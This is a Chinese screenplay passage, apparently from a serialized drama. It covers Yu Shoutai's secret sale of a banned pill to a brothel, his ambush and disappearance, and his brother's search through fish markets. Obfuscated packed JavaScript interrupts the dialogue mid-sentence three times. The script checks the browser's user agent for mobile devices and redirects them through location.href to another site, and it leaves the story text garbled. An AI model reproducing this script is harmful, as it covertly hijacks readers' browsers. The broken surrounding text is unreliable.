余守泰从怀里掏出一个小小的锦盒,老鸨见了,十分好奇。 老鸨:什么东西呀? 余守泰:(故作惊讶)咦?老鸨,你是不是在跟我开玩笑啊?这东西你怎么会不认识?想当初,我家老爷不还是在你这里尝到了它的甜头吗? 老鸨:噢,我明白了!是赛神仙,对不对? 余守泰:(食指放在唇边)嘘!当着我家老爷的面,你可千万别说出来,不然的话,我可要挨骂了。 老鸨:嘻嘻,这个我懂,放心吧,我一定不说!不过这东西咱们春风楼里已经断货了,没想到周老爷那里还有些存货呀! 余守泰:存货?您太小看我家老爷了! 老鸨:怎么?难不成他还能进到货? 余守泰:老鸨,你也不想想,我家老爷是干什么的?就这点儿东西,他要多少有多少,哪里用得着存呀? 老鸨:如果我没记错的话,周老爷不是做香料生意的吗?怎么又卖起药了? 余守泰:香料是从海上运进来的,这东西不也是从海上运进来的吗?运香料的同时,顺带捎一点儿这东西,有何不可呀? 老鸨:哦,原来是这样啊!这位爷,不瞒您说,咱们春风楼如今正缺这个,您看您能不能跟周老爷说说,也顺带给咱们捎一点儿? 余守泰:(故作犹豫)这个嘛…… 老鸨:怎么了?不行吗? 余守泰:也不是不行,有钱谁不想赚呢?只不过你我的心里都清楚,这东西是禁药,想要运进来的话,得冒很大的风险。如果被官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007425|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的人知道,是我家老爷在给你们供货,那可就麻烦了! 老鸨:这个您别担心,这东西只是一时断货,以后还是会有。 余守泰:哦,什么意思? 老鸨:实话告诉您吧,凤凰城那边出了点儿事。 余守泰:哦,出了什么事? 老鸨:丢了一小包这东西,怕落在了官府的人手里,所以暂时不敢卖了。 余守泰:(顿时明白了过来)哦,原来是这样啊。那行吧,我回去跟我家老爷说说,争取也能给你们捎一点儿,嘿嘿! 8-61 春风楼,门前(夜,外) 人物:余守泰、老鸨 隔日,余守泰又去了一趟春风楼。 余守泰:老鸨,你的运气可真好,我家老爷答应了! 老鸨:真的吗?这位爷,您可真是给咱们春风楼帮了大忙啊!要不这样,今晚我做东,找几位姑娘来陪您喝杯酒…… 余守泰:不了不了,我还有别的事要办。哦,我家老爷还说,进货尚需一段时日,如果你急着想要的话,他手里还有一些,可以先卖给你。 老鸨:卖给我的话,周老爷自己用什么呀? 余守泰:他每晚少吃一粒,不就有你的了吗? 老鸨:嘻嘻,那敢情好!这位爷,要不您问问周老爷什么时候有空,我亲自把钱给他送过去。 余守泰:亲自送过去?这样不好吧!若被我家夫人撞见了,多尴尬呀! 老鸨:也是啊,那您说怎么办吧? 余守泰:城外有一片池塘、池塘上有一座小桥、小桥上有一个凉亭,你知道吗? 老鸨:嗯,知道。 余守泰:我家老爷说了,让我明晚亥时带着那东西,在凉亭里等着,你派一个可靠的人过去,咱们一手交钱一手交货。 老鸨:好嘞,就这么说定了! 8-62 凉亭(夜,外) 人物:余守泰、黑衣人若干 余守泰早早地就来到了凉亭里,眼看着药丸即将变成白花花的银子,他的心里就万分激动。到了亥时,果然来了一个人,穿着黑色的衣裳。 余守泰:(仰望天空)今晚的月色可真美!这位小哥,你带酒了吗? 黑衣人:有酒没肉,喝得不过瘾! 见他对上了暗号,余守泰心中大喜。 余守泰:是老鸨派你来的吗? 黑衣人:正是。东西呢? 余守泰:(掏出一个小袋子)在这里。钱带够了没? 黑衣人:(拿出银票在余守泰的眼前晃了晃)四百两银子,一文不少。不过在买卖之前,我得先验验货。 余守泰:这是当然。(小心翼翼地打开袋子)你瞧瞧,是不是你们要的东西? 黑衣人拿起一粒药丸,放在鼻尖嗅了嗅,又用舌头轻轻一舔,跟着点点头。 黑衣人:没错,正是赛神仙。 余守泰:那就赶紧付钱吧,我家老爷还等着我回去呢! 话音刚落,一口麻袋从天而降,余守泰眼前一黑,还没弄清楚发生了什么事,头上便挨了一闷棍,当即晕了过去。 梁州,翡宁酒庄 8-63 葡萄园(夜,外) 人物:翡翠、黑衣人若干 入夜,几条黑色的影子溜进了葡萄园里,在葡萄树下翻找起来。翡翠从梦中惊醒,察觉到外面的动静,便悄悄起了身,先去洛宁的屋子里瞅了一眼,见她睡得正香,这才放下心来,提起长剑奔下楼去。 黑衣人只顾着翻找,哪里会料到翡翠的到来,随着几道寒光闪过,黑衣人纷纷中剑倒地。 翡翠:不请自来,真没礼貌! 黑衣人头目:臭小子,少管闲事! 翡翠:在我的葡萄园里,竟敢这么对我说话?像你们这样的访客,我可不欢迎。 黑衣人头目:兄弟们,给我上! 双方交手,黑衣人不敌,被打得遍体鳞伤。 黑衣人手下:头儿,这家伙是个高手,咱们打不过! 黑衣人头目:撤! 黑衣人落荒而逃,翡翠回头望了一眼洛宁的窗子,里面很安静。 翡翠:早知道你睡得这么沉,刚才我就该痛打他们一顿。哼! 梁州,茂源城 8-64 春风楼,落絮飞花(夜,内) 人物:余守泰、老鸨、颜无双、黑衣人若干 从葡萄园里回来的黑衣人,把怒气都撒在了余守泰的身上,对着他一顿拳打脚踢。 黑衣人头目:王八蛋!害得老子受了这么重的伤,老子宰了你! 余守泰:我真的没骗你们!剩下的药丸真的被我藏在了葡萄园里! 老鸨:姑娘,怎么办?那家酒庄的来历不一般,如果药丸被他们发现了…… 颜无双:不要紧!(指着余守泰)只要这个人也消失了,他们就查不出什么。 79. 第八篇 桂先生的药 梁州,凤凰城 8-65 伍灵儿和伍仙儿的家(日,内) 人物:伍灵儿、伍仙儿、金鹏、邻居若干 伍灵儿一走进家门,便嚎啕大哭。 伍灵儿:姐!呜呜! 伍仙儿:(意外)灵儿? 伍灵儿:(扑进伍仙儿的怀里)姐!我可算是见到你了!呜呜! 伍仙儿:怎么了?发生什么事了?你不是去义州了吗?怎么这么快就回来了? 伍灵儿:唉,别提了!我在那边好不容易赚了点儿钱,却在回来的路上遇见了强盗,身上的东西全被他们抢走了!呜呜! 伍仙儿:原来是这样。(安慰伍灵儿)灵儿,别哭了!钱丢了就丢了,只要人没事就行! 听见外面的动静,金鹏也从屋里走出。 金鹏:(意外)伍灵儿?你怎么回来了? 伍灵儿:咦,你怎么在这里?姐!怎么回事? 伍仙儿:你走的时候,我的病不是还没好吗?人家金公子便过来照顾我…… 伍灵儿:这么说,我不在家的这段日子,他趁机过来占你便宜了? 金鹏:臭小子!胡说什么呢?谁占她便宜了? 伍灵儿:(指着金鹏的鼻子骂)不就是你吗?亏你还是天地会的弟子,真他妈不要脸! 金鹏:臭小子,我他妈杀了你! 见金鹏发怒,伍灵儿掉头就往外跑,嘴里大声地嚷嚷个不停。 伍灵儿:救命呀!救命呀!天地会的弟子要杀人了!天地会的弟子要杀人了! 邻居们听见动静,纷纷出来看热闹。 邻居甲:怎么回事?怎么回事?谁是天地会的弟子?他要杀谁? 邻居乙:甭管他要杀谁,快报官吧! 金鹏刚要追出去,却被伍仙儿死死拦住。 伍仙儿:金公子,别追了!事情若闹大了,可就不好收拾了! 金鹏:你弟弟污蔑我也就罢了,他连天地会都敢污蔑,真是太狂妄了!今儿我非给他点儿颜色瞧瞧不可,哼! 伍仙儿:灵儿他肯定是被强盗给吓怕了,所以才会胡言乱语。金公子,官府的人马上就要来了,你还是快走吧! 金鹏:我若走了,岂不是等于承认了这件事? 伍仙儿:你若不走,被官府的人抓了去,怎么跟天地会那边交待? 金鹏:你……唉! 伍仙儿:快走吧!求求你了! 在伍仙儿的苦苦哀求下,金鹏只好愤愤地走了。 8-66 酒楼,大堂(夜,内) 人物:金鹏、银华、洛宁 金鹏的心中有气,又约了银华一起喝酒。 银华:有了上次的事,我以为你不再去了,没想到又去了。 金鹏:唉,这不都怨我哥吗?他非说什么仙儿一个人在家,怪可怜见,让我去给她搭把手。 银华:所以你就去了?(笑着摸摸金鹏的头)你可真是一个乖孩子呀,哈哈! 金鹏:唉,本来一切都挺好,不曾想她弟弟突然就回来了…… 银华:(打趣)听你这意思,怎么像是被捉奸在床了? 金鹏:连你都这么想,以后我可不敢再去了!唉! 银华:你占了他姐姐的便宜,就不怕他来找你吗? 金鹏:唉,你说我怎么就这么倒霉呀?偏偏遇上了这么一对姐弟! 银华:我倒是觉得,你应该庆幸才对。 金鹏:有什么好庆幸的? 银华:庆幸你还没来得及娶她呀!若是娶进了门之后,才发现她弟弟是这么一个泼皮无赖,到那时再后悔,可就没用了! 金鹏:唉,也是啊!以后不管我哥怎么说,我都不再去见她了! 洛宁:(从外面进来)嘻嘻,我就知道你俩在这儿! 银华:咦?丫头,你今晚不是不回来吗? 洛宁:翡翠想在早市上买些东西,今晚不回来的话,明天怕是赶不上。 银华:买东西这种小事,哪里用得着他这位贵公子亲自出马?不是还有余大哥吗? 洛宁:余大哥这几日都没去酒庄,他只能亲自来了,不过这样也好,免得他事事都依赖别人。 金鹏:(皱起眉头)等等!宁儿,你说什么?我哥没去酒庄? 洛宁:对呀!怎么了? 金鹏:可他跟我说他这几日都在酒庄里。 洛宁:怎么可能!他要是在那里的话,我用得着天天两头跑吗? 金鹏和银华互相对望了一眼。 银华:怎么回事?你哥该不会又有什么事瞒着你吧? 金鹏:我这就去找他! 接连几日,金鹏到处寻找余守泰,却始终不见他的人影。 8-67 天地会总会,和敬堂,走廊上(日,外) 人物:金鹏、银华 金鹏从外面回来时,银华也碰巧来了。 银华:怎么样?找到你哥没? 金鹏:(摇摇头)没有。 银华:怎么会这样?一个大活人,怎么会说不见就不见了? 金鹏:谁知道呢!他以前从不会像这样不辞而别,哦,对了,你说他会不会又被骗去了什么见不得人的地方? 银华:若真如此,就只能去找宁儿帮忙了。不过话说回来,你哥应该没那么笨吧?好歹他也见过些世面,总不能一而再再而三地上当受骗吧? 金鹏:我哥那个人,这辈子所有的工夫都花在了两样东西上面。 银华:女人和钱,对不对? 金鹏:唉,可惜一样都没得到! 8-68 天地会总会,前门(日,外) 人物:金鹏、银华、伍仙儿 金鹏和银华自总会里出来,正打算去督察府找洛宁,却意外地看见了伍仙儿。 伍仙儿:金公子! 金鹏:仙儿?你怎么来了? 伍仙儿:金公子,有件事…… 金鹏:(不耐烦地摆摆手)我这会儿没空,有什么事改日再说! 金鹏这就要走,却听伍仙儿叫道。 伍仙儿:金公子,求求您!帮帮我吧! 金鹏:(不得已回过头来)怎么了?你有什么事快说! 银华:对呀,我们也很急呢! 伍仙儿:(从怀里掏出一沓纸)金公子,昨日我打扫屋子的时候,在灵儿的床底下发现了这个。 银华:(定睛一看)银票? 伍仙儿:(点点头)嗯,我数了下,一共有三百两。 金鹏:(吃惊)三百两?你们哪里来这么多钱? 伍仙儿:所以我才来找您,你说灵儿他会不会又闯祸了? 金鹏:(为难)仙儿!不是我不肯帮你,我这会儿真的有急事。要不这样吧,等我忙完了,再过去找你…… 伍仙儿:可我担心到那时灵儿已经被官府的人抓走了! 金鹏:你担心你弟弟,我也很担心我哥呀!你知不知道,他已经失踪好几天了,我正在到处找他…… 伍仙儿:怪了!灵儿也在到处找他…… 金鹏:你说什么?他也在找我哥? 伍仙儿:那天你走了之后,他便说要来找余大哥,我担心他向余大哥告状,便不许他来。不过这几日,他几乎天天都在问他,像是有什么事情…… 银华:金鹏,你说那小子会不会知道些什么? 金鹏:走!咱们去问问他! 8-69 伍仙儿和伍灵儿的家(日,内) 人物:伍仙儿、伍灵儿、金鹏、银华 金鹏一进门,便揪住了伍灵儿。 金鹏:说!我哥在哪里? 伍灵儿:姐!你怎么又把这个瘟神给请回来了?你就不怕我死在他的手上呀? 伍仙儿:灵儿,余大哥不见了,你若是知道些什么,快告诉金公子吧! 伍灵儿:余大哥不见了?(见众人都盯着自己,顿时慌了神)他……他不见了,关……关我什么事呀?我不也才从义州回来吗? 金鹏:(亮出银票)这是什么? 伍灵儿:(脸色突变)银票?! 伍仙儿:我在你的床底下找到的。灵儿,快告诉我们到底是怎么回事? 伍灵儿:这……这是我在义州打工挣的钱! 金鹏:不到一个月的工夫,就挣了三百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007426|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两银子,你都干了些什么? 伍灵儿:我有这个本事,不行吗? 银华:若再不肯说实话,我们就把你送去官府! 伍灵儿:姐!你只有我这么一个弟弟,难道你就眼睁睁地看着他们欺负我吗? 伍仙儿:灵儿,这不是小事,你若不肯说实话的话,姐姐也不能再护着你了! 伍灵儿:你还是我姐吗?你还没跟他成亲呢,怎么就向着他了? 金鹏:臭小子,我哥如今下落不明,是生是死还不清楚,他若有什么三长两短,我他妈要你偿命!哼! 伍灵儿:姐! 伍仙儿:灵儿,人命关天,你快说吧! 眼看着瞒不过去,伍灵儿只好将他和余守泰偷卖药丸的事和盘托出,金鹏一听便怒了。 金鹏:臭小子!你自己干坏事也就罢了,为何还要带上我哥? 伍灵儿:鱼是他买的,药丸也在他的手里,整件事都是他的主意,我不过替他跑了个腿儿,如今他不见了,关我屁事! 金鹏:臭小子!我看你是不见棺材不掉泪!(这就要开打,被银华拦住) 银华:金鹏,别打了!找你哥要紧,回头再跟他算账! 金鹏:(恼火地)找什么呀!不找了! 银华:不找了?为何? 金鹏:他肯定也跟这小子一样,出去卖药了。 银华:可那东西是禁药,你就不怕他…… 金鹏:我怕!我当然怕!我怕这件事被老大知道了,会将他赶出天地会! 银华:唉,也是啊!那行!咱们不找了,先回去等着,没准儿过两天他就回来了呢! 二人转身要走,却被伍仙儿叫住。 伍仙儿:(手里拿着银票)金公子,这些钱怎么办? 伍灵儿:(忙上前护住银票)姐!你干什么呀?这可是我费了老大的劲儿才挣回来的,你可不能白给了他们! 金鹏:(一把揪住伍灵儿)走!跟我去督察府! 伍灵儿:姐!你听见没?他要送我去坐牢! 伍仙儿:(挺身挡在二人中间)金公子,这些钱我们不要了,你拿走吧!只要不让灵儿去坐牢,怎么样都行! 金鹏:这都什么时候了,你怎么还护着他?如果哪天他杀了人,你也要像这样护着他吗? 伍仙儿:他若杀了人,我就把我的命赔给人家! 金鹏:你这个当姐姐的,怎么这么糊涂呀? 伍仙儿:我答应过爹娘,要好生照顾他,如果他出了什么事,让我怎么跟爹娘交代?如果你今天非要带他走的话,我就一头撞死在你面前! 伍灵儿:(一脸得意)听见没?再怎么样她也是我姐,怎么可能由着你的意? 银华:金鹏!要我说,甭管这小子是好是坏,都是他们的家事,你一个外人,管这么多干什么? 金鹏:说得没错!伍仙儿,你给我听清楚了!从今往后,你走你的独木桥、我走我的阳关道,咱俩互不相干,谁也别再来找谁了!哼!(说完气冲冲地走了) 8-70 酒楼,大堂(夜,内) 人物:银华、金鹏 金鹏埋头喝闷酒。 银华:你真不打算找了? 金鹏:上哪儿去找?沉香国这么大,谁知道他在哪儿? 银华:你就不担心他吗? 金鹏:担心有何用?是他自己要去的,连说都没跟我说一声。 银华:嗯,也是啊。好歹兄弟一场,他瞒着谁也不该瞒着你呀! 金鹏:唉,我就不明白了,他又不是没钱,为何还要这么贪呢? 银华:要我说,这件事也不能全怪他,谁让那些药丸不偏不倚、碰巧落在了他的手里呢?这就好比在老狗的面前放上一根骨头,哪有不吃的道理? 金鹏:问题是这种钱要不得呀! 银华:那我倒要问问你,如果他真的把那些药丸卖出去了,等他回来了,你打算怎么办?像送伍灵儿那样把他送去督察府吗? 金鹏:我……唉,如今看来,伍仙儿护着她弟弟,也不是没有道理。 银华:(指着他笑)呵呵,我就说你狠不下心嘛! 80. 第八篇 桂先生的药 梁州,郊外 8-71 马路上(日,外) 人物:裴光年、小迢 艳阳高照,一高一矮两个人影,喘着粗气,摇摇晃晃地往前走着。 小迢:少爷,您慢点儿,我走不动了! 裴光年:(指着前方)那里有棵树,咱们过去歇会儿。 二人来到树下,歇了半天方才缓过劲来。 小迢:少爷,您真打算靠自己的两条腿、一步一步地走去博州吗? 裴光年:咱们的钱全送给了春风楼,又没有顺风车可以搭,不这样能怎样? 小迢:梅州那么富庶,为何咱们督察府却这么穷啊? 裴光年:谁知道呢!去梅州之前,我以为咱们督察府的账上多少会有些银两,结果上任之后才发现,一文钱都没有。不仅如此,还欠了齐捕头他们半年的薪水,我若再不去的话,他们怕是要另谋出路了。 小迢:您不是给京度司写了封信吗?他们怎么说? 裴光年:他们给我回了两个字。 小迢:哪两个字? 裴光年:没钱! 小迢:他们没说为什么吗? 裴光年:没说。 小迢:这也太敷衍了吧?至少应当给个理由啊! 裴光年:地方不同于京城,人家给咱们一点儿,咱们才能用一点儿,不给的话,就只能自己想办法了。总不能去问皇上要吧? 小迢:别处的督察府呢?是否也像咱们这样? 裴光年:不清楚。 小迢:要不您路过凤凰城的时候,去张督察的府上瞧瞧? 裴光年:瞧瞧又能怎样?甭管有钱没钱,我都不会找他借!哼! 小迢:可咱们要办案子,没钱怎么行呢?(低头想了想)少爷,前面是紫蔚城,实在不行的话,咱们也去碰碰运气? 裴光年:碰运气?碰什么运气? 小迢:(做了个摸牌的手势)您不是这方面的高手吗? 裴光年:我已经发过毒誓,这辈子再不去那种地方、再不碰那种东西了! 小迢:您即使去了那种地方,也未必非要碰那种东西呀! 裴光年:什么意思? 小迢:您只需当一个看客,我来跟他们玩,不就行了? 裴光年:(没好气地)当初我在春风楼办会员卡的时候,你怎么不说你来呀? 小迢:少爷,何苦呢?少奶奶已经改嫁了,您就算是一辈子不近女色,她也不会回来了。 听了这话,裴光年的脸上露出淡淡的悲伤,小迢见了,连忙安慰。 小迢:少爷,您别多想,我是跟您说着玩的…… 裴光年:(叹口气)你说得没错,是我太执着了。唉,罢了,咱们去紫蔚城吧! 梁州,紫蔚城 8-72 赌坊(夜,内) 人物:裴光年、小迢、庄家、赌客若干、打手若干 在裴光年的指点下,小迢很快便赢了不少银子。 裴光年:(冲小迢使了个眼色)差不多够了,咱们走吧。 二人转身要走,却被几个打手模样的人挡住了去路。 小迢:你们……你们想干什么? 打手:二位爷,手气这么好,何不再多玩上几把? 裴光年:(微微一笑)怎么?见我们赢了钱,眼红了? 打手:从来到现在,你俩一直在赢,不用说,肯定出老千了! 裴光年:刚才那骰子明明是十三个点,却不料开盅的那一刻,竟变成了六个点,怎么回事?(故意大声地)是不是赌桌的下面有一块磁铁? 赌客们一听,顿时急了,立马掀开桌子查看:果然有块磁铁,就嵌在赌桌上。 赌客甲:真的有磁铁!(指着庄家)他诓咱们的钱! 赌客乙:没错!把钱还给咱们! 赌客丙:不给的话,就砸了他的场子! 赌客们怒不可遏,把桌椅板凳砸了个稀烂,裴光年和小迢也趁着混乱,离开了赌坊。 8-73 街道上(夜,外) 人物:裴光年、小迢 离开了赌坊,裴光年和小迢打算找一家客栈先住下,明天再启程前往博州。 小迢:少爷!您那个赌圣的称号,可真不是白叫的!您是怎么看出赌桌的下面有一块磁铁? 裴光年:我的鼻子虽然不灵,可我的耳朵却很灵,那盅里的骰子是什么情况,我一听便知。 小迢:您有这样的本事,咱们督察府何愁不能脱贫?嘿嘿! 裴光年:仅此一回,下不为例。 小迢:啊!为何呀?难道您不想过好日子吗? 裴光年:我已经不再是以前的那个裴光年了。 8-74 马车车厢(日,内) 人物:裴光年、小迢 第二天,裴光年和小迢雇了辆马车,启程前往博州。 小迢:少爷,您说咱们这回能不能抓住那个姓桂的? 裴光年:事在人为!他又不是神,怎么可能回回都逃得掉? 小迢:上回您带人把他的住处围了个水泄不通,可还是让他逃了,我至今仍然想不明白,他到底是怎么办到的? 裴光年:等咱们抓住了他,你问问他不就知道了。 小迢:问问?得了吧!我一听到他的名字,就浑身直打哆嗦,若让我去见他,还不得把我吓晕过去! 裴光年:(皱眉)胆子这么小,怎么办案子? 小迢:我不怕死人,可我怕鬼。 裴光年:这世上根本就没有鬼!那个姓桂的,不过是人里面的怪物罢了! 梁州,凤凰城 8-75 天地会总会,和敬堂,走廊上(日,外) 人物:金鹏、银华 又过了几日,依然不见余守泰回来,金鹏的心里越来越没底。 银华:怎么回事?你哥怎么还没回来? 金鹏:谁知道呢!你说他会不会出了什么事? 银华:若真如此,咱们还是别耽搁了,快去找宁儿吧! 二人离开总会,原打算去督察府,想想觉得不妥,便往酒庄的方向去了。 梁州,翡宁酒庄 8-76 葡萄园(日,外) 人物:洛宁、翡翠、金鹏、银华 洛宁和翡翠正在葡萄园里干活儿。 洛宁:余大哥最近怎么了?洛府不见他的人影,酒庄也不见他的人影,哪去了? 翡翠:你问过金鹏没? 洛宁:他只说他出去了,至于去了哪里,他也说不清楚。 翡翠:呵呵,那可就麻烦了。 洛宁:什么意思? 翡翠:连他弟弟都不知道他去了哪里,不是麻烦是什么? 洛宁:可我看金鹏一点儿也不着急呀! 翡翠:也许他知道他去了哪里,只是不想告诉你。 洛宁:他为何要瞒着? 翡翠:前阵子葡萄园里进了贼,你知道吗? 洛宁:(吃惊)啊!什么时候的事? 翡翠:你那晚睡得正香,我没忍心叫醒你。 洛宁:那你现在为何又要说这个? 翡翠:那些家伙来这里之后,只在葡萄园里翻找,却不曾进屋翻找,是不是很奇怪呀? 洛宁:难道说,咱们的葡萄园里有宝贝? 翡翠:(被逗笑了)呵呵,种葡萄之前,咱们把这块地翻了不下三遍,若有什么宝贝,早就被咱们发现了,哪里还轮得到他们? 洛宁:你没把他们抓起来问问吗? 翡翠:几个小贼而已,赶跑就行了,何必多事? 正说着,二人远远地看见银华和金鹏来了。 洛宁:咦!他俩怎么来了? 翡翠:看他俩行色匆匆的样子,应该不是来帮咱们干活儿的。 银华和金鹏从马上下来,往这边飞奔过来,洛宁和翡翠也放下手里的活儿,朝他们走去。 洛宁:银华!金鹏!你俩怎么来了? 金鹏:宁儿,我哥不见了! 洛宁:刚才我和翡翠还在说这件事呢,你不是说他出去了吗? 金鹏:我只知道他出去了,但我不知道他去了哪里。 洛宁:他没告诉你吗? 金鹏:(摇摇头)没有! 银华:老实说,他也不知道他哥出去了,直到见了那天偷咱们东西的小子,才知道他哥出去了。 洛宁:不辞而别?(问金鹏)你俩闹矛盾了? 银华:闹矛盾也不能离家出走呀! 洛宁:(问金鹏)到底怎么回事? 金鹏讲述余守泰和伍灵儿合伙卖药的事。 洛宁:这么说,他出门卖药去了? 金鹏:这是我猜的,到底是不是这回事儿,我也不好说。 洛宁:以往余大哥不管做什么事情,都会跟你说一声,如今他不辞而别,肯定是怕你知道了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007427|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >银华:对呀!如果金鹏知道他手里有那些东西,肯定不会让他拿出去卖。 洛宁:如此说来,他的失踪应该跟那些药丸有关。 翡翠:会不会因为偷卖禁药、被官府的人抓起来了? 洛宁:如果被抓起来了,应该会通知金鹏。 银华:那也未必。余大哥不会告诉官府的人,他是天地会的弟子。 金鹏:是啊!如果这件事被老大知道了,肯定会将他逐出去。他怕殃及我,打死也不会说的。 洛宁:如果怕殃及你的话,就不该做那种事。 翡翠:现在说这些为时已晚,还是想想怎么去找他吧。 洛宁:(问金鹏)你说那些药丸是在鱼肚子里发现的,鱼是从哪里来的? 银华:肯定不是从河里捞上来的。 金鹏:我听伍灵儿说,那条鱼是我哥从鱼行里买的。 洛宁:哪家鱼行? 金鹏:他一个人去的,他也不清楚。 银华:凤凰城里有不少家鱼行,若要一家一家地查找,怕是要费些工夫。 洛宁:查找的同时,还不能让他们发现了。 银华:这个我明白。不过除了这个,就没有别的办法吗? 洛宁:沉香国这么大,我们不知道他到底去了哪里,若要通过督察府寻找的话,也同样要费些工夫。 金鹏:这种不光彩的事情,还是不要惊动官府了。唉! 洛宁:那就只能先找到那家鱼行了。 梁州,凤凰城 8-77 农贸市场(日,外) 人物:金鹏、银华、鱼行伙计 金鹏来到鱼行里,在河鲜和海鲜之间,挑花了眼。 鱼行伙计:这位小兄弟,你到底买不买呀? 金鹏:买呀!我这不正在挑吗? 鱼行伙计:你已经挑了足足半个时辰了,还没挑好吗? 金鹏:唉,我也不想这样,实在是咱们家的那个主子,太难伺候了! 鱼行伙计:怎么了? 金鹏:你有所不知,他让我过来买鱼,不仅要新鲜的,还要这鱼的模样周正。 鱼行伙计:周正?这我倒是头一回听说! 金鹏:唉,可不是嘛!每回为了给他买鱼,我几乎要把凤凰城里的鱼行全部跑个遍,还不一定能买到令他满意的。 鱼行伙计:买鱼是为了吃肉,若想养鱼的话,那就另当别论了。 金鹏:我家主子不管是吃是养,都要最好的。 鱼行伙计:(指着其中一条鱼)这条呢?这条怎么样? 金鹏:个头儿不行。我家主子的个头儿不大,如果这条鱼的个头儿也不大,他会说我在笑话他。 鱼行伙计:那这条呢?这条总行吧? 金鹏:太肥了,他同样会不高兴。 鱼行伙计:那这条呢?不长不短、不胖不瘦,正合你家主子的心意。 金鹏:都已经翻肚皮了,你是不是在咒他呀? 鱼行伙计:这位小兄弟,你家主子到底是在买鱼还是在买人呢? 金鹏:什么叫买人呢?你这里有人卖吗? 鱼行伙计:得得得,你还是去别家瞧瞧吧,我这里没你想要的那条鱼。 就在金鹏与鱼行伙计说话的时候,银华悄悄地溜进了鱼行里,在一条条鱼中间翻找了起来…… 8-78 茶铺(日,内) 人物:金鹏、银华 离开鱼行之后,金鹏和银华在茶铺里碰头。 金鹏:怎么样?有没有? 银华:(摇头)没有。 金鹏:(失望地叹了口气)唉! 银华:你别着急!凤凰城里的鱼行又不止这一家,待会儿咱们再去别家瞧瞧。 金鹏:宁儿说,那家鱼行是我们目前能知道的唯一线索,如果连这条线索都断了,那可怎么办呀? 银华:你就不能乐观点儿吗?没准儿下一家就是呢! 金鹏:我担心咱们把每一家都找遍了,也没发现那些药丸。 银华:那就再来一遍! 金鹏:再来一遍? 银华:对呀!除了鱼行之外,还有青楼、医馆,这些地方都有可能会卖那种东西。只要咱们不放弃,总能查得出来。 金鹏:(担心地)你说他们会不会把我哥…… 银华:(打断)别什么事都往坏处想!没准儿你哥这会儿正拿着那些卖药的钱,在某个地方逍遥快活呢! 81. 第八篇 桂先生的药 梁州,凤凰城 8-79 督察府,张正清的屋子(日,内) 人物:洛宁、张正清 洛宁来找张正清。 洛宁:张大哥!天堂草的事,你不是说有人在查吗?他是谁?查的怎么样了? 张正清:怎么突然想起来问这个? 洛宁:这个案子发生在咱们的辖区,你为何要让别人去查? 张正清:其实在我们之前,他就已经在查了。 洛宁:哦,什么意思? 张正清:他在他那边的医馆里,先发现了这个,接着又顺藤摸瓜,找到了一个给他们供货的药商。只不过因为那个药商的足迹遍布沉香国的各个地方,所以很难查出他的上线是谁。 洛宁:这跟春风楼有什么关系? 张正清:那个药商每回来梁州进货,就一定会去一趟春风楼。 洛宁:原来是这样。那他在春风楼里查出了什么? 张正清:我也不太清楚。 洛宁:你不是督察吗?问问他不就行了! 张正清:他也是督察,若他不肯说,我怎么问呢? 洛宁:他也是督察?哪个州的? 张正清:梅州。 洛宁:(吃了一惊)梅州?! 张正清:怎么?你认识他呀? 洛宁:哦,不不不!我怎么会认识他呢?我只是觉得这么好的机会,若让给了别人,是不是太可惜了? 张正清:他刚上任不久,立功心切,咱们这回就不要多事了。 8-80 天地会总会,练武场(日,外) 人物:翡翠、洛宁、弟子若干 球赛进行到一半,众人下场休息。 翡翠:银华呢?怎么没来? 洛宁:他跟金鹏一道儿出去了。 翡翠:丢的又不是他哥。 洛宁:他跟金鹏是好哥们儿,如今金鹏有事,他能不仗义相助吗? 翡翠:他不在,这球踢得可真不过瘾。 洛宁:他说了,这回先让着你,下回一定打败你。 翡翠:(不以为然地笑了)呵呵,他每回都这么说。(挨着洛宁坐下,喝了口水)有件事,不知道跟那个有没有关系。 洛宁:什么事? 翡翠:那晚来咱们葡萄园里偷东西的小贼,并非是寻常的盗贼。 洛宁:此话何意? 翡翠:他们都穿着夜行衣、蒙着脸,一个个身材魁梧,功夫也十分了得。 洛宁:你的意思是,他们是有备而来? 翡翠:幕后的主人是谁,或许你可以去查查。 洛宁:你怎么不早说? 翡翠:我也是在知道余大哥的事情之后,方才想到的。 8-81 天地会总会,恩威堂,走廊上(夜,外) 人物:银华、顾云飞、蔡辛 银华从外面回来,路过顾云飞的屋子时,被他叫住。 顾云飞:站住! 银华:怎么了老大? 顾云飞:(皱着眉头走出屋子)什么味儿?你下河摸鱼了? 银华:什么呀!我跟金鹏去了一趟集市。 顾云飞:噢,明白了,你俩卖鱼去了。(冲着对面喊)老蔡! 蔡辛:(一溜小跑过来)堂主,您有什么吩咐? 